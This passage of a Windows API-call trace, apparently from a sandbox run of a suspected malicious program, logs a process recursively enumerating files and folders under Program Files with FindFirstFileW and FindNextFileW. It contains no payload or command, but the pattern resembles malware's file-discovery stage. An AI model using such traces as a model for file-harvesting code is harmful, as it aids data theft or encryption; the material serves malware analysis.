ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0244.633] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0244.633] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0244.633] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0244.634] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0244.634] FindClose (in: hFindFile=0x65bd48 | out: hFindFile=0x65bd48) returned 1 [0244.636] GetProcessHeap () returned 0x560000 [0244.636] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0244.636] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0244.637] ResetEvent (hEvent=0x118) returned 1 [0244.637] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0244.639] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0244.640] ResetEvent (hEvent=0x118) returned 1 [0244.640] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.071] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0245.072] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0245.072] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0245.072] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0245.073] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0245.073] ResetEvent (hEvent=0x118) returned 1 [0245.073] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.087] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0245.088] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0245.088] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0245.088] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0245.088] ResetEvent (hEvent=0x118) returned 1 [0245.089] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.096] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0245.096] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0245.096] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0245.097] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0245.097] ResetEvent (hEvent=0x118) returned 1 [0245.097] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.110] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0245.110] GetProcessHeap () returned 0x560000 [0245.110] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0245.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0245.111] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.111] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0245.111] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0245.111] FindClose (in: hFindFile=0x65bd48 | out: hFindFile=0x65bd48) returned 1 [0245.111] GetProcessHeap () returned 0x560000 [0245.112] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0245.112] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0245.112] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0245.112] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0245.112] GetProcessHeap () returned 0x560000 [0245.112] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b64198 | out: hHeap=0x560000) returned 1 [0245.112] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa4d235b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa4d235b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0245.113] GetProcessHeap () returned 0x560000 [0245.113] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b64198 [0245.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa4d235b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa4d235b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0245.124] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa4d235b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa4d235b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.125] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0245.126] GetProcessHeap () returned 0x560000 [0245.126] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0245.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0245.128] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.128] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0245.128] GetProcessHeap () returned 0x560000 [0245.128] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0245.129] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0245.130] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0245.130] GetProcessHeap () returned 0x560000 [0245.130] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b888a8 [0245.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0245.135] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.135] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0245.135] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0245.135] ResetEvent (hEvent=0x118) returned 1 [0245.136] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.143] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0245.143] ResetEvent (hEvent=0x118) returned 1 [0245.143] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.159] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, 